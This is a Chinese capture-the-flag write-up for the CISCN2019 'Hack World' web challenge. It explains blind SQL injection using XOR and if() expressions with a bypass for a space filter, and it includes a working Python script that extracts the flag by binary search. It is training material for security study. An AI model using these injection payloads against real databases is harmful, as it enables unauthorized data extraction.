[CISCN2019 华北赛区 Day2 Web1]Hack World

  • 这道题的考点貌似是sql盲注还是第一次遇到这种类型,表示太难了。。

  • 主界面

  • 它的意思是让我们给出文章的id,那我们就输入一试试。

  • 有回显,出题人想要一个girlfriend。对此,我只想说,想peach。然后我们再输入2试试。

  • 对这个回显,我怀疑出题人妄想症犯了。之后我们再输入3试试。

  • 发生了错误,我们再输入万能密码试试。

  • 好吧,它检测到sql注入了,以我目前的知识,我已经手足无措了,在网上查阅资料后,发现可以有两个新姿势。if(1=1,1,2)0^1。if很简单,就是类似三目运算符1==1?1:2,而这个01是什么意思呢?其实这个符号在mysql里是亦或的作用,所以01最后的结果是1。我们可以都试一试。

  • 在最后的payload里用这两种方法都是可以的。那具体的payload要怎么写呢?我们发现正常的回显只有两种情况,我们是不可能让回显直接出flag的,所以这种情况应该属于盲注。直接上脚本吧。

    import requests
    import time
    import re
    url='http://04d17768-be6a-45cd-9587-3b8faf1a8506.node3.buuoj.cn/index.php'
    flag = ''
    for i in range(1,43):max = 127min = 0for c in range(0,127):s = (int)((max+min)/2)payload = '0^(ascii(substr((select(flag)from(flag)),'+str(i)+',1))>'+str(s)+')'r = requests.post(url,data = {'id':payload})time.sleep(0.005)if 'Hello, glzjin wants a girlfriend.' in str(r.content):min=selse:max=sif((max-min)<=1):flag+=chr(max)print(flag)break
    
  • 我们可以看到for i in range(1,43) 为什么是43呢?因为动态flag的长度是42位,又因为python里的range右界是小括号,所以42要再+1。看到这,是不是明白点什么呢?我们要把flag一位一位猜出来!用的方法就是这个。

  • 我们把flag的每一位用substr取出来,然后用ascii和某个字符比较(用的是二分查找)最后max 和 min差1的时候就说明max为正确的字符(具体也不太清楚为什么不是max和min相等的时候)。然后要注意题目貌似过滤了空格,所以要善用括号来分割。然后每次请求不能太快,不然平台反应不过来,所以每次需要sleep一段时间。

  • 最后运行python文件,flag一位一位被爆破出来的感觉简直爽翻了!


    参考链接

    CISCN2019 华北赛区 Day2 Web1]Hack World_题解_风过江南乱的博客-CSDN博客

    CISCN2019 华北赛区 Day2 Web1]Hack World_沫忆末忆的博客-CSDN博客

[CISCN2019 华北赛区 Day2 Web1]Hack World相关推荐

  1. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 前言: 考点: 前置知识: 使用的前提条件: 解题: 参考文章: 前言: ... 考点: 代码审计 Phar反序列化 前置知识: 引入一个 Y4师傅的文章,这里我就不班门弄斧:[CTF]PHP反 ...

  2. [CISCN2019 华北赛区 Day1 Web2]ikun

    [CISCN2019 华北赛区 Day1 Web2]ikun 打开网页,先注册登录,根据提示:ikun们冲鸭,一定要买到lv6!!!,说明我们要买个六级号,所以我们用脚本搜索六级号在哪一页: impo ...

  3. [CISCN2019 华北赛区 Day1 Web5]CyberPunk

    页面源代码发现 读取index.php的源码 <?phpini_set('open_basedir', '/var/www/html/');// $file = $_GET["file ...

  4. [CISCN2019 总决赛 Day2 Web1]Easyweb 1

    [CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...

  5. buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫描目录   得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...

  6. buu-[CISCN2019 总决赛 Day2 Web1]Easyweb

    扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...

  7. 与太原工业学院商讨第十七届全国大学生智能车华北赛区承办事宜

    简 介: 确定第十七届全国大学生智能车竞赛华北赛区承办学校. 关键词: 智能车竞赛,华北赛区 §01 提议与商讨 一.公众号提议 卓大大,那个我们学校可以承办华北区赛吗?我们学校是太原工业学院.卓大大 ...

  8. 第十六届全国大学智能车竞赛华北赛区成绩汇总

    简 介: 第十六届全国大学生智能车竞赛在北京科技大学天津学院举行.本文给出了各组别的成绩以及奖项设置. 关键词: 智能车竞赛,华北赛区 §01 各组成绩 一.基础四轮组 学校名称 队伍名称 预赛最好成 ...

  9. 第十五届全国大学生智能车全国总决赛获奖信息-华北赛区

    第十五届全国大学生智能车竞赛 全国总决赛获奖信息 华北赛区 序号 学校 队伍 组别 奖项 姓名 类别 1 太原工业学院 晋速-赤兔星 基础四轮组 一等奖 高少伟 参赛学生 2 太原工业学院 晋速-赤兔 ...

最新文章

  1. linux6直连存储挂载磁盘,CentOS7mount网络磁盘的详细步骤
  2. 用C语言解“混合类型数据格式化输出”题
  3. 超越Swin Transformer!谷歌提出了收敛更快、鲁棒性更强、性能更强的NesT
  4. 如何用python数据挖掘_Python数据挖掘-文本挖掘
  5. Java library util_sdejavautil.dll,下载,简介,描述,修复,等相关问题一站搞定_DLL之家
  6. linux用终端上传文件和文件家到远程的服务器
  7. 自然语言处理在医学领域的应用
  8. jQuery中.html(“xxx”)和.append(xxx)的区别和不同
  9. python 网络爬虫requests模块
  10. AI+AR如何提升花椒直播的体验?
  11. CPU Cache对于并发编程的影响
  12. python多继承_python作用域和多继承
  13. 【Python】这些Python骚操作,你值得拥有
  14. 48. action 与 filter 的执行流程
  15. 从程序员到项目经理(二十八):该死的结果导向(只看结果,不问过程到底行不行?)
  16. postgres汉字转换为拼音
  17. sm4加密和sm3加密
  18. php7.1 phpize编译gd,centos 7 下用 phpize安装GD扩展库
  19. Task 07--面向对象的编程
  20. 美光科技:2019财年的营收和净利润狂泻不止

热门文章

  1. ARGB1555内部存储空间的大小与ARGB转换方式
  2. 【C++实训】实训总结
  3. JVM内存模型JVM内存模型
  4. centos 日志文件
  5. git切换分支、push或pull指定分支
  6. 什么是马甲APP?寻求高手马甲包封装APP上架
  7. ThinkPad E545连WiFi教程(系统:ubuntu-20.04.3-live-server,无线网卡:BCM34142)
  8. Redis安装(完整版)
  9. 实际业务中的数据分析流程和痛点
  10. IP协议 Header Checksum算法